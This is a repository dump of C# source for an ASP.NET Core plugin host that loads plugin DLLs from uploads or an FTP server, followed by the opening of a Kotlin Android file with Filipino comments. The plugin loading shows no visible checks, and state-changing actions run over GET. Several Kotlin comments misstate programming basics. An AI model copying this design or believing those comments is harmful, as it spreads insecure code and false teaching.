public IActionResult Actions()
{
// https://stackoverflow.com/questions/41908957/get-all-registered-routes-in-asp-net-core
var actions = actionDescriptorCollectionProvider.ActionDescriptors.Items.Select(a => new
{
Area = a.RouteValues.FirstOrDefault(o => o.Key == "area").Value,
Action = a.RouteValues.FirstOrDefault(o => o.Key == "action").Value,
Controller = a.RouteValues.FirstOrDefault(o => o.Key == "controller").Value,
Name = a.AttributeRouteInfo?.Name,
Templates = new string[] { a.AttributeRouteInfo?.Template },
HttpMethods = a.ActionConstraints?.OfType<HttpMethodActionConstraint>().SelectMany(o => o.HttpMethods),
Parameters = a.Parameters.Select(p => new
{
p.Name,
ParameterType = p.ParameterType.Name,
ParameterFullType = p.ParameterType.FullName,
DefaultValue = p is ControllerParameterDescriptor pd ? pd.ParameterInfo.DefaultValue : null,
}),
}); ;
return Json(actions);
}
}
}
<file_sep>/Mystique.Core.Mvc/MvcPluginSetup.cs
using Microsoft.AspNetCore.Mvc.ApplicationParts;
using Mystique.Core.Interfaces;
using Mystique.Core.Mvc.Infrastructure;
using Mystique.Mvc.Infrastructure;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Threading.Tasks;
using System.Text;
using Newtonsoft.Json.Linq;
namespace Mystique.Core.Mvc
{
public class MvcPluginSetup : IMvcPluginSetup
{
private readonly ApplicationPartManager applicationPartManager;
private readonly IReferenceLoader referenceLoader;
private readonly HttpClient httpClient;
public MvcPluginSetup(ApplicationPartManager applicationPartManager, IReferenceLoader referenceLoader, IHttpClientFactory httpClientFactory)
{
this.applicationPartManager = applicationPartManager;
this.referenceLoader = referenceLoader;
httpClient = httpClientFactory.CreateClient("internal-client");
}
public async Task<List<PluginModel>> GetPluginsAsync(bool all = false) => await Task.FromResult(PluginsLoadContexts.GetPlugins(all));
public async Task EnablePluginAsync(string pluginName)
{
if (pluginName is null)
{
throw new ArgumentNullException(nameof(pluginName));
}
var pluginModel = PluginsLoadContexts.GetPlugin(pluginName);
await EnablePluginAsync(pluginModel);
}
public async Task EnablePluginAsync(PluginModel pluginModel)
{
if (pluginModel is null)
{
throw new ArgumentNullException(nameof(pluginModel));
}
var pluginName = pluginModel.Name;
if (PluginsLoadContexts.Any(pluginName))
{
pluginModel = PluginsLoadContexts.GetPlugin(pluginName);
var context = pluginModel.PluginContext;
var controllerAssemblyPart = new MystiqueAssemblyPart(context.Assemblies.First());
applicationPartManager.ApplicationParts.Add(controllerAssemblyPart);
}
else
{
var context = pluginModel.PluginContext = new CollectibleAssemblyLoadContext();
var filePath = Path.Combine(Environment.CurrentDirectory, "host_plugins", pluginName, $"{pluginName}.dll");
var referenceFolderPath = Path.GetDirectoryName(filePath);
using (var fs = new FileStream(filePath, FileMode.Open))
{
var assembly = context.LoadFromStream(fs);
referenceLoader.LoadStreamsIntoContext(context, referenceFolderPath, assembly);
var controllerAssemblyPart = new MystiqueAssemblyPart(assembly);
AdditionalReferencePathHolder.AdditionalReferencePaths.Add(filePath);
applicationPartManager.ApplicationParts.Add(controllerAssemblyPart);
}
}
pluginModel.IsEnabled = true;
PluginsLoadContexts.UpsertPluginContext(pluginModel);
await ResetControllerActionsAsync();
await RunConnectMethods(pluginName);
Wwwroot(pluginName, true);
}
private async Task RunConnectMethods(string pluginName)
{
var filePath = Path.Combine(Environment.CurrentDirectory, "host_plugins", pluginName, "appsettings.json");
if (!File.Exists(filePath))
{
return;
}
var methods = JObject.Parse(File.ReadAllText(filePath, Encoding.UTF8))["GET_Connect"] as JArray;
foreach (var method in methods)
{
await httpClient.GetAsync(method.ToObject<string>());
}
}
private void Wwwroot(string pluginName, bool enable)
{
var srcFolder = new DirectoryInfo(Path.Combine(Environment.CurrentDirectory, "host_plugins", pluginName, "wwwroot"));
var destFolder = new DirectoryInfo(Path.Combine(Environment.CurrentDirectory, "wwwroot", pluginName));
if (enable)
{
// 启用,从插件拷贝到宿主
if (destFolder.Exists)
{
destFolder.Delete(true);
}
srcFolder.MoveTo(destFolder.FullName);
}
else
{
// 禁用,从宿主拷贝到插件
if (srcFolder.Exists)
{
srcFolder.Delete(true);
}
destFolder.MoveTo(srcFolder.FullName);
}
}
public async Task DisablePluginAsync(string pluginName)
{
if (pluginName is null)
{
throw new ArgumentNullException(nameof(pluginName));
}
await RunDisconnectMehods(pluginName);
Wwwroot(pluginName, false);
var parts = applicationPartManager.ApplicationParts.Where(o => o.Name == pluginName).ToArray();
foreach (var part in parts)
{
applicationPartManager.ApplicationParts.Remove(part);
}
if (parts.Any())
{
await ResetControllerActionsAsync();
}
var pluginModel = PluginsLoadContexts.GetPlugin(pluginName);
if (pluginModel != null)
{
pluginModel.IsEnabled = false;
PluginsLoadContexts.UpsertPluginContext(pluginModel);
}
}
public async Task RunDisconnectMehods(string pluginName)
{
var filePath = Path.Combine(Environment.CurrentDirectory, "host_plugins", pluginName, "appsettings.json");
if (!File.Exists(filePath))
{
return;
}
var methods = JObject.Parse(File.ReadAllText(filePath, Encoding.UTF8))["DELETE_Disconnect"] as JArray;
foreach (var method in methods)
{
await httpClient.DeleteAsync(method.ToObject<string>());
}
}
public async Task RemovePluginAsync(string pluginName)
{
if (pluginName is null)
{
throw new ArgumentNullException(nameof(pluginName));
}
await DisablePluginAsync(pluginName);
PluginsLoadContexts.RemovePluginContext(pluginName);
await Task.Run(() =>
{
var directory = new DirectoryInfo(Path.Combine(Environment.CurrentDirectory, "host_plugins", pluginName));
if (directory.Exists)
{
directory.Delete(true);
}
});
}
private Task ResetControllerActionsAsync()
{
return Task.Run(() =>
{
MystiqueActionDescriptorChangeProvider.Instance.HasChanged = true;
MystiqueActionDescriptorChangeProvider.Instance.TokenSource.Cancel();
});
}
}
}
<file_sep>/Mystique.Core/DomainModels/PluginPackage.cs
using Mystique.Core.Exceptions;
using Newtonsoft.Json;
using System;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Threading.Tasks;
namespace Mystique.Core.DomainModel
{
public class PluginPackage
{
private string tempFolderName;
private string folderName;
private Stream zipStream;
public PluginModel Configuration { get; private set; }
public async Task InitializeAsync(Stream zipStream)
{
var archive = new ZipArchive(this.zipStream = zipStream, ZipArchiveMode.Read);
zipStream.Position = 0;
tempFolderName = Path.Combine(Environment.CurrentDirectory, "host_plugins", Guid.NewGuid().ToString());
archive.ExtractToDirectory(tempFolderName, true);
var folder = new DirectoryInfo(tempFolderName);
var files = folder.GetFiles();
var configFile = files.SingleOrDefault(p => p.Name == "plugin.json");
if (configFile == null)
{
throw new MissingConfigurationFileException();
}
using var stream = configFile.OpenRead();
using var sr = new StreamReader(stream);
var content = await sr.ReadToEndAsync();
Configuration = JsonConvert.DeserializeObject<PluginModel>(content);
if (Configuration == null)
{
throw new WrongFormatConfigurationException();
}
}
public void SetupFolder()
{
var archive = new ZipArchive(zipStream, ZipArchiveMode.Read);
zipStream.Position = 0;
folderName = Path.Combine(Environment.CurrentDirectory, "host_plugins", Configuration.Name);
archive.ExtractToDirectory(folderName, true);
var folder = new DirectoryInfo(tempFolderName);
if (folder.Exists)
{
folder.Delete(true);
}
}
}
}
<file_sep>/Mystique/Services/DownloadPluginsBackgroundService.cs
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;
using Mystique.Core.DomainModel;
using Mystique.Core.Interfaces;
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Net;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
namespace Mystique.Services
{
public class DownloadPluginsBackgroundService : BackgroundService
{
private readonly IServiceScope serviceScope;
private readonly IMvcPluginSetup mvcPluginSetup;
private readonly FtpClient.FtpClientOption ftpClientOption;
private readonly ILogger<DownloadPluginsBackgroundService> logger;
public DownloadPluginsBackgroundService(IConfiguration configuration, IServiceScopeFactory serviceScopeFactory, ILoggerFactory loggerFactory)
{
serviceScope = serviceScopeFactory.CreateScope();
mvcPluginSetup = serviceScope.ServiceProvider.GetRequiredService<IMvcPluginSetup>();
ftpClientOption = configuration.GetSection("FtpClientOption").Get<FtpClient.FtpClientOption>();
logger = loggerFactory.CreateLogger<DownloadPluginsBackgroundService>();
}
protected override async Task ExecuteAsync(CancellationToken stoppingToken)
{
if (ftpClientOption.Host?.Any() != true)
{
logger.LogInformation(new EventId(204), "未配置 ftp 地址,此服务不执行");
return;
}
var ftpClient = new FtpClient(ftpClientOption);
while (!stoppingToken.IsCancellationRequested)
{
try
{
await DetectAndUpdatePlugins(ftpClient);
}
catch (Exception ex)
{
logger.LogError(new EventId(500, "检查插件更新"), ex, ex.Message);
}
#if DEBUG
await Task.Delay(12 * 1000);
#else
await Task.Delay(5 * 60 * 1000); // 五分钟检查一次插件是否有更新
#endif
}
}
private async Task DetectAndUpdatePlugins(FtpClient ftpClient)
{
var cachePlugins = await mvcPluginSetup.GetPluginsAsync(all: true);
var ftpPlugins = await ftpClient.GetFileDetailsAsync();
foreach (var o in cachePlugins.Select(o => o.ZipFileName).Concat(ftpPlugins.Select(o => o.name)).Distinct())
{
var cache = cachePlugins.FirstOrDefault(x => x.ZipFileName == o); // cache
var (name, size, modified) = ftpPlugins.FirstOrDefault(x => x.name == o); // current
if (!string.IsNullOrEmpty(name) && (size != cache?.Size || modified != cache?.Modified))
{
try
{
// 下载并更新插件
using (var stream = await ftpClient.DownloadAsync(name))
{
var pluginPackage = serviceScope.ServiceProvider.GetRequiredService<PluginPackage>();
var pluginManager = serviceScope.ServiceProvider.GetRequiredService<IPluginManager>();
// 服务器 ftp 若存在相同名称的插件,会频繁更新\卸载
// TODO 添加维护版本信息
await pluginPackage.InitializeAsync(stream);
pluginPackage.Configuration.Size = size;
pluginPackage.Configuration.Modified = modified;
pluginPackage.Configuration.ZipFileName = name;
await pluginManager.AddPluginsAsync(pluginPackage);
}
logger.LogInformation(new EventId(200, "下载并更新插件"), $"name={name},size={size},modified={modified}");
}
catch (Exception ex)
{
logger.LogError(new EventId(400, "下载并更新插件"), ex, ex.Message);
}
}
}
}
public override Task StopAsync(CancellationToken cancellationToken)
{
using (serviceScope) { }
return base.StopAsync(cancellationToken);
}
}
public class FtpClient
{
private readonly FtpClientOption option;
public FtpClient(FtpClientOption option)
{
var host = option.Host;
option.Host = host.StartsWith("ftp://", StringComparison.OrdinalIgnoreCase) ? host : $"ftp://{host}";
this.option = option;
}
/// <summary>
/// 创建一个FTP请求
/// </summary>
/// <param name="url">请求地址</param>
/// <param name="method">请求方法</param>
/// <param name="requestAction">修改 request 参数</param>
/// <returns>FTP请求</returns>
private FtpWebRequest FastCreateRequest(string file, string method)
{
var url = option.BuildAbsoluteUri(file);
var request = (FtpWebRequest)WebRequest.Create(new Uri(url));
request.Credentials = new NetworkCredential(option.UserId, option.Password);
request.Proxy = option.Proxy;
request.KeepAlive = false; // 命令执行完毕之后关闭连接
request.UseBinary = option.UseBinary;
request.UsePassive = option.UsePassive;
request.EnableSsl = option.EnableSsl;
request.Method = method;
return request;
}
/// <summary>
/// 获取详细列表
/// </summary>
/// <returns></returns>
public async Task<List<(string name, long size, DateTime modified)>> GetFileDetailsAsync()
{
var request = FastCreateRequest(null, WebRequestMethods.Ftp.ListDirectoryDetails);
using (var response = (FtpWebResponse)request.GetResponse())
using (var reader = new StreamReader(response.GetResponseStream(), System.Text.Encoding.UTF8))
{
var files = new List<(string name, long size, DateTime modified)>();
var regex = new Regex(@"^(\d+-\d+-\d+\s+\d+:\d+(?:AM|PM))\s+(<DIR>|\d+)\s+(.+)$");
IFormatProvider culture = CultureInfo.GetCultureInfo("en-us");
string line;
while (!string.IsNullOrEmpty(line = await reader.ReadLineAsync()))
{
var match = regex.Match(line);
var modified = DateTime.TryParseExact(match.Groups[1].Value, "MM-dd-yy hh:mmtt", culture, DateTimeStyles.None, out DateTime dt) ? dt : DateTime.MaxValue;
var size = long.TryParse(match.Groups[2].Value, out long lg) ? lg : 0;
var name = match.Groups[3].Value;
files.Add((name, size, modified));
}
return files;
}
}
/// <summary>
/// 从当前目录下下载文件
/// <para>
/// 如果本地文件存在,则从本地文件结束的位置开始下载.
/// </para>
/// </summary>
/// <param name="serverName">服务器上的文件名称</param>
/// <param name="localName">本地文件名称</param>
/// <returns>返回一个值,指示是否下载成功</returns>
public async Task<Stream> DownloadAsync(string serverName)
{
if (serverName is null)
{
throw new ArgumentNullException(nameof(serverName));
}
var request = FastCreateRequest(serverName, WebRequestMethods.Ftp.DownloadFile);
using (var response = (FtpWebResponse)request.GetResponse())
{
var stream = response.GetResponseStream();
var memoryStream = new MemoryStream();
await CopyStreamAsync(stream, memoryStream);
return memoryStream;
}
static async Task CopyStreamAsync(Stream input, Stream output)
{
var buffer = new byte[16 * 1024];
int read;
while ((read = await input.ReadAsync(buffer, 0, buffer.Length)) > 0)
{
await output.WriteAsync(buffer, 0, read);
}
}
}
/// <summary>
/// 默认不使用SSL,使用二进制传输方式,使用被动模式。FTP有两种使用模式:主动和被动。
/// 主动模式要求客户端和服务器端同时打开并且监听一个端口以建立连接。
/// 在这种情况下,客户端由于安装了防火墙会产生一些问题。
/// 所以,创立了被动模式。
/// 被动模式只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。
/// </summary>
public class FtpClientOption
{
/// <summary>
/// 主机
/// </summary>
public string Host { get; set; } = "ftp://localhost";
/// <summary>
/// 登录用户名
/// </summary>
public string UserId { get; set; } = string.Empty;
/// <summary>
/// 登录密码
/// </summary>
public string Password { get; set; } = string.Empty;
/// <summary>
/// 端口(默认 21)
/// </summary>
public int? Port { get; set; } = 21;
/// <summary>
/// 代理
/// </summary>
public IWebProxy Proxy { get; set; }
/// <summary>
/// SSL 加密
/// </summary>
public bool EnableSsl { get; set; } = false;
/// <summary>
/// 二进制方式
/// </summary>
public bool UseBinary { get; set; } = true;
/// <summary>
/// 被动模式
/// </summary>
public bool UsePassive { get; set; } = true;
/// <summary>
/// 远端路径
/// <para>
/// 返回FTP服务器上的当前路径(可以是 / 或 /a/../ 的形式)
/// </para>
/// </summary>
public string RemotePath { get; set; } = "/";
public string BuildAbsoluteUri(string remoteFileName = "")
{
var url = new Uri(new[] { RemotePath ?? "/", remoteFileName ?? "" }.Aggregate(Host, (current, path) =>
{
return $"{current.TrimEnd('/')}/{path.TrimStart('/')}";
}));
return url.AbsoluteUri;
}
}
}
}
<file_sep>/uninstall.sh
firewall-cmd --zone=public --remove-port=5050/tcp --permanent
systemctl stop mystique.service
systemctl disable mystique.service
systemctl restart rsyslog
rm -rf /var/www/mystique
<file_sep>/Mystique.Core.Mvc/Infrastructure/MystiqueActionDescriptorChangeProvider.cs
using Microsoft.AspNetCore.Mvc.Infrastructure;
using Microsoft.Extensions.Primitives;
using System.Threading;
namespace Mystique.Mvc.Infrastructure
{
// https://stackoverflow.com/questions/46156649/asp-net-core-register-controller-at-runtime
// https://github.com/aspnet/Mvc/blob/rel/2.0.0/src/Microsoft.AspNetCore.Mvc.Core/Internal/ActionDescriptorCollectionProvider.cs#L39
public class MystiqueActionDescriptorChangeProvider : IActionDescriptorChangeProvider
{
public static MystiqueActionDescriptorChangeProvider Instance { get; } = new MystiqueActionDescriptorChangeProvider();
public CancellationTokenSource TokenSource { get; private set; }
public bool HasChanged { get; set; }
public IChangeToken GetChangeToken()
{
TokenSource = new CancellationTokenSource();
return new CancellationChangeToken(TokenSource.Token);
}
}
}
<file_sep>/Mystique.Core/Contracts/PluginManager.cs
using Mystique.Core.DomainModel;
using Mystique.Core.Interfaces;
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
namespace Mystique.Core.Contracts
{
public class PluginManager : IPluginManager
{
private readonly IMvcPluginSetup mvcModuleSetup;
public PluginManager(IMvcPluginSetup mvcModuleSetup)
{
this.mvcModuleSetup = mvcModuleSetup;
}
public async Task AddPluginsAsync(PluginPackage pluginPackage)
{
if (pluginPackage is null)
{
throw new ArgumentNullException(nameof(pluginPackage));
}
pluginPackage.SetupFolder();
await mvcModuleSetup.EnablePluginAsync(pluginPackage.Configuration);
}
public async Task<List<PluginModel>> GetAllPluginsAsync() => await mvcModuleSetup.GetPluginsAsync();
public async Task DisablePluginAsync(string pluginName)
{
if (pluginName is null)
{
throw new ArgumentNullException(nameof(pluginName));
}
await mvcModuleSetup.DisablePluginAsync(pluginName);
}
public async Task EnablePluginAsync(string pluginName)
{
if (pluginName is null)
{
throw new ArgumentNullException(nameof(pluginName));
}
await mvcModuleSetup.EnablePluginAsync(pluginName);
}
public Task<PluginModel> GetPluginAsync(string pluginName)
{
throw new NotImplementedException();
}
public async Task RemovePluginAsync(string pluginName)
{
if (pluginName is null)
{
throw new ArgumentNullException(nameof(pluginName));
}
await mvcModuleSetup.RemovePluginAsync(pluginName);
}
}
}
<file_sep>/Mystique/Controllers/PluginsController.cs
using Microsoft.AspNetCore.Mvc;
using Mystique.Core.DomainModel;
using Mystique.Core.Interfaces;
using Mystique.Core.Mvc.Extensions;
using Mystique.Mvc.Infrastructure;
using System.Threading.Tasks;
namespace Mystique.Controllers
{
public class PluginsController : Controller
{
private readonly IReferenceContainer referenceContainer;
private readonly PluginPackage pluginPackage;
private readonly IPluginManager pluginManager;
public PluginsController(IReferenceContainer referenceContainer, PluginPackage pluginPackage, IPluginManager pluginManager)
{
this.referenceContainer = referenceContainer;
this.pluginPackage = pluginPackage;
this.pluginManager = pluginManager;
}
[HttpGet]
public IActionResult RefreshControllerAction()
{
MystiqueActionDescriptorChangeProvider.Instance.HasChanged = true;
MystiqueActionDescriptorChangeProvider.Instance.TokenSource.Cancel();
return Ok();
}
[HttpGet]
public IActionResult Assemblies()
{
var items = referenceContainer.GetAll();
return View(items);
}
[HttpGet("Index")]
public async Task<IActionResult> IndexAsync()
{
var plugins = await pluginManager.GetAllPluginsAsync();
return View(plugins);
}
[HttpGet]
public IActionResult Add() => View();
[HttpPost("Upload")]
[DisableRequestSizeLimit]
public async Task<IActionResult> UploadAsync()
{
using var stream = Request.GetPluginStream();
await pluginPackage.InitializeAsync(stream);
await pluginManager.AddPluginsAsync(pluginPackage);
return RedirectToAction("Index");
}
[HttpGet("Enable")]
public async Task<IActionResult> EnableAsync(string name)
{
await pluginManager.EnablePluginAsync(name);
return RedirectToAction("Index");
}
[HttpGet("Disable")]
public async Task<IActionResult> DisableAsync(string name)
{
await pluginManager.DisablePluginAsync(name);
return RedirectToAction("Index");
}
[HttpGet("Delete")]
public async Task<IActionResult> DeleteAsync(string name)
{
await pluginManager.RemovePluginAsync(name);
return RedirectToAction("Index");
}
}
}
<file_sep>/Mystique.Core.Mvc/Infrastructure/MystiqueRouteConfiguration.cs
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.Hosting;
using Newtonsoft.Json;
using System;
using System.IO;
using System.Linq;
using System.Text;
namespace Mystique.Core.Mvc.Infrastructure
{
public static class MystiqueRouteConfiguration
{
public static IApplicationBuilder MystiqueRoute(this IApplicationBuilder app, IHostApplicationLifetime lifetime)
{
lifetime.ApplicationStopping.Register(() =>
{
var json = JsonConvert.SerializeObject(PluginsLoadContexts.GetPlugins(all: true).Select(o =>
{
o.PluginContext = null;
return o;
}));
var pluginFolder = Path.Combine(Environment.CurrentDirectory, "host_plugins", "plugins_cache.json");
File.WriteAllText(pluginFolder, json, Encoding.UTF8);
});
app.UseStaticFiles();
app.UseRouting();
app.UseEndpoints(routes =>
{
routes.MapControllerRoute(
name: "Mystique",
pattern: "{controller=Home}/{action=Index}/{id?}");
routes.MapControllerRoute(
name: "Plugins",
pattern: "{area}/{controller=Home}/{action=Index}/{id?}");
});
return app;
}
}
}
<file_sep>/DemoPlugin1/Controllers/Plugin1Controller.cs
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Configuration;
using System;
using System.IO;
namespace DemoPlugin1.Controllers
{
/// <summary>
/// 需要读取本插件配置文件的项目,需要继承于此抽象类
/// </summary>
public abstract class ApiBaseController : Controller
{
protected static readonly IConfiguration configuration;
static ApiBaseController()
{
var path1 = new DirectoryInfo(Path.Combine(Environment.CurrentDirectory, "host_plugins", "DemoPlugin1"));
var path2 = new DirectoryInfo(Environment.CurrentDirectory);
var builder = new ConfigurationBuilder()
.SetBasePath(path1.Exists ? path1.FullName : path2.FullName)
.AddJsonFile("appsettings.json", optional: true, reloadOnChange: true);
configuration = builder.Build();
}
}
[Area("DemoPlugin1")]
public class Plugin1Controller : ApiBaseController
{
private readonly IConfiguration rootConfig;
private readonly IWebHostEnvironment webHostEnvironment;
public Plugin1Controller(IConfiguration rootConfig, IWebHostEnvironment webHostEnvironment)
{
this.rootConfig = rootConfig;
this.webHostEnvironment = webHostEnvironment;
}
[HttpGet]
public IActionResult Ping() => Content(configuration.GetSection("Name").Get<string>() ?? "pong");
[HttpGet]
public IActionResult HelloWorld()
{
ViewBag.Content = configuration.GetSection("HelloWorld").Get<string>() ?? "undefined";
return View();
}
[HttpGet]
public IActionResult Root()
{
var host = rootConfig.GetSection("FtpClientOption:Host").Get<string>();
return Content(host);
}
[HttpGet]
public IActionResult dir()
{
return Json(new
{
host = webHostEnvironment.ContentRootPath,
env = Environment.CurrentDirectory,
});
}
[HttpGet]
[HttpDelete]
public IActionResult write()
{
var file = Path.Combine(webHostEnvironment.ContentRootPath, "write.txt");
if (string.Equals("GET", Request.Method, StringComparison.OrdinalIgnoreCase))
{
System.IO.File.AppendAllText(file, DateTime.Now.ToString());
return Ok(Request.Method);
}
if (string.Equals("DELETE", Request.Method, StringComparison.OrdinalIgnoreCase))
{
System.IO.File.Delete(file);
return Ok(Request.Method);
}
return BadRequest(Request.Method);
}
}
}
<file_sep>/Mystique.Core/Contracts/DefaultReferenceContainer.cs
using Mystique.Core.DomainModel;
using Mystique.Core.Interfaces;
using System.Collections.Generic;
using System.IO;
using System.Linq;
namespace Mystique.Core.Contracts
{
public class DefaultReferenceContainer : IReferenceContainer
{
private static readonly Dictionary<CachedReferenceItemKey, Stream> cachedReferences = new Dictionary<CachedReferenceItemKey, Stream>();
public List<CachedReferenceItemKey> GetAll() => cachedReferences.Keys.ToList();
public bool Exist(string name, string version) => cachedReferences.Keys.Any(p => p.ReferenceName == name && p.Version == version);
public void SaveStream(string name, string version, Stream stream)
{
if (Exist(name, version))
{
return;
}
cachedReferences.Add(new CachedReferenceItemKey { ReferenceName = name, Version = version }, stream);
}
public Stream GetStream(string name, string version)
{
var key = cachedReferences.Keys.FirstOrDefault(p => p.ReferenceName == name && p.Version == version);
if (key != null)
{
cachedReferences[key].Position = 0;
return cachedReferences[key];
}
return null;
}
}
}
<file_sep>/Mystique.Core.Mvc/Infrastructure/MystiqueStartup.cs
using Microsoft.AspNetCore.Mvc.Infrastructure;
using Microsoft.AspNetCore.Mvc.Razor;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;
using Mystique.Core.Contracts;
using Mystique.Core.DomainModel;
using Mystique.Core.Interfaces;
using Mystique.Mvc.Infrastructure;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
namespace Mystique.Core.Mvc.Infrastructure
{
public static class MystiqueStartup
{
private static readonly IList<string> presets = new List<string>();
public static void MystiqueSetup(this IServiceCollection services)
{
services.AddOptions();
services.AddSingleton<IMvcPluginSetup, MvcPluginSetup>();
services.AddSingleton<IReferenceContainer, DefaultReferenceContainer>();
services.AddSingleton<IReferenceLoader, DefaultReferenceLoader>();
services.AddSingleton<IActionDescriptorChangeProvider>(MystiqueActionDescriptorChangeProvider.Instance);
services.AddSingleton(MystiqueActionDescriptorChangeProvider.Instance);
services.AddScoped<PluginPackage>();
services.AddScoped<IPluginManager, PluginManager>();
var mvcBuilder = services.AddMvc();
var pluginFolder = Path.Combine(Environment.CurrentDirectory, "host_plugins");
var plugins_cache = Path.Combine(pluginFolder, "plugins_cache.json");
if (File.Exists(plugins_cache))
{
using var scope = services.BuildServiceProvider().CreateScope();
var refsLoader = scope.ServiceProvider.GetService<IReferenceLoader>();
var loggerFactory = scope.ServiceProvider.GetService<ILoggerFactory>();
var plugins = JsonConvert.DeserializeObject<PluginModel[]>(File.ReadAllText(plugins_cache, System.Text.Encoding.UTF8));
foreach (var plugin in plugins)
{
var filePath = Path.Combine(pluginFolder, plugin.Name, $"{plugin.Name}.dll");
if (!File.Exists(filePath))
{
continue;
}
try
{
var referenceFolderPath = Path.GetDirectoryName(filePath);
using (var fs = new FileStream(filePath, FileMode.Open))
{
var context = plugin.PluginContext = new CollectibleAssemblyLoadContext();
var assembly = context.LoadFromStream(fs);
refsLoader.LoadStreamsIntoContext(context, referenceFolderPath, assembly);
var controllerAssemblyPart = new MystiqueAssemblyPart(assembly);
mvcBuilder.PartManager.ApplicationParts.Add(controllerAssemblyPart);
PluginsLoadContexts.UpsertPluginContext(plugin);
}
presets.Add(filePath);
}
catch (Exception ex)
{
loggerFactory.CreateLogger<CollectibleAssemblyLoadContext>().LogWarning(new EventId(450), $"加载插件失败 '{plugin}'", ex);
}
}
}
mvcBuilder.AddRazorRuntimeCompilation(o =>
{
foreach (var item in presets)
{
o.AdditionalReferencePaths.Add(item);
}
AdditionalReferencePathHolder.AdditionalReferencePaths = o.AdditionalReferencePaths;
});
services.Configure<RazorViewEngineOptions>(o =>
{
o.AreaViewLocationFormats.Add("/Modules/{2}/Views/{1}/{0}" + RazorViewEngine.ViewExtension);
o.AreaViewLocationFormats.Add("/Views/Shared/{0}.cshtml");
});
}
}
}
<file_sep>/Mystique.Core.Mvc/Extensions/HttpRequestExtension.cs
using Microsoft.AspNetCore.Http;
using System;
using System.IO;
using System.Linq;
namespace Mystique.Core.Mvc.Extensions
{
public static class HttpRequestExtension
{
public static Stream GetPluginStream(this HttpRequest request)
{
var package = request?.Form?.Files.FirstOrDefault();
if (package == null)
{
throw new Exception("The plugin package is missing.");
}
return package.OpenReadStream();
}
}
}
<file_sep>/Mystique.Core/PluginsLoadContexts.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Runtime.Loader;
namespace Mystique.Core
{
public class CollectibleAssemblyLoadContext : AssemblyLoadContext
{
public CollectibleAssemblyLoadContext() : base(isCollectible: true) { }
protected override Assembly Load(AssemblyName name) => null;
}
public class PluginModel
{
public string Name { get; set; } // unique Key
public string DisplayName { get; set; }
public string Version { get; set; }
public bool IsEnabled { get; set; }
public bool AutoEnable { get; set; }
public string ZipFileName { get; set; }
public long Size { get; set; }
public bool IsDeleted { get; set; }
public DateTime Modified { get; set; }
public CollectibleAssemblyLoadContext PluginContext { get; set; }
}
// 2019/11/03 相同名称的插件,只允许存在一个实例
public static class PluginsLoadContexts
{
private static readonly Dictionary<string, PluginModel> pluginContexts = new Dictionary<string, PluginModel>();
public static bool Any(string pluginName) => pluginContexts.ContainsKey(pluginName) && !pluginContexts[pluginName].IsDeleted;
public static void RemovePluginContext(string pluginName)
{
if (Any(pluginName))
{
var context = pluginContexts[pluginName];
context.PluginContext.Unload();
context.IsDeleted = true;
pluginContexts[pluginName] = context;
}
}
public static PluginModel GetPlugin(string pluginName) => Any(pluginName) ? pluginContexts[pluginName] : null;
public static List<PluginModel> GetPlugins(bool all = false) => pluginContexts.Keys.Select(k => pluginContexts[k]).Where(k => all || !k.IsDeleted).ToList();
public static void UpsertPluginContext(PluginModel pluginModel)
{
if (pluginModel is null)
{
throw new ArgumentNullException(nameof(pluginModel));
}
pluginContexts[pluginModel.Name] = pluginModel;
}
}
}
| 2643f542f08ef0b224218220bc24729de7dac72e | [
"C#",
"Shell"
] | 18 | C# | QJesus/Mystique | 064636cbb123b7e80e34e6934d649f3806247c3a | cc29dd86ba4672de824978b7f008cce7fa628b3d |
refs/heads/master | <file_sep>
package com.erby.casestudy // name ng library package ay erby.casestudy
import android.app.Service //android.app-naglalaman ng high-level classes na maaaring matawag para sa pagbuo ng Android Application model
import android.content.Context // ito ay library package na kapag dineclare or tinawag, lahat ng attributes at classes ay pwede na din matawag at gamitin
import android.net.ConnectivityManager // ito ay library package na kapag dineclare or tinawag, lahat ng attributes at classes ay pwede na din matawag at gamitin
import android.net.NetworkInfo // ito ay library package na kapag dineclare or tinawag, lahat ng attributes at classes ay pwede na din matawag at gamitin
class Connection_Detection { // the name of this class is Connection_Detection
var context: Context? = null // in this class, nagdeclare tayo ng variable na ang pangalan ay 'context'
fun connect_detector(context:Context) { // katumbas ng public void ang 'fun',kaya fun ang gamit dito dahil ang gamit na programming language ay Kotlin
// Kotlin is a programming language use in Java Virtual Machine na maaaring gamitin sa paggawa ng android applications. 'Public' means that anyone can have an access. 'Void' means no returning value
this.context = context // ang 'this' parameter ay ginagamit upang ma-clarify natin kung anong object ang pinag uusapan
}
fun isConnected() {
val connectivityManager = context?.getSystemService(Service.CONNECTIVITY_SERVICE) as ConnectivityManager
} // under the isConnected() method is to get if the
}
<file_sep>package com.erby.casestudy
//In Layers of Programming Language, merong Machine, Assembly, High-Level and Low-Level Programming Language
//Ang High Level Programming Language ay ginagamit para sa pagbuo ng program,
//ang halimbawa nito ay C++, C#, JAVA, C, Visual Basic, and J#.
//Habang ang low-level programming language naman ay ginagamit sa pagddesign.
//Machine Language ay ang standard language na ginagamit ng computer upang magprocess ng mga data, ito ay ang binary.
//Assembly naman ang kombinasyon ng High Level at Low Level Programming Language.
//IMPORT means dalhin o ikonek, we are trying to make a connection here, tinatawag natin ang mga resource classes na ginagamit upang makabuo ng isang application.
import android.content.Intent //android.content-naglalaman ng mga classes na para sa pag-aaccess at pagbbulish ng data sa device na gagamitin
import android.support.v7.app.AppCompatActivity //
import android.os.Bundle //android.os-provider ng basic operating system service, passing of message and inter-process communication sa device
import android.text.Html //android.text-ginagamit para sa pagrrender ng text and pag-aayos ng lay-out ng text sa device
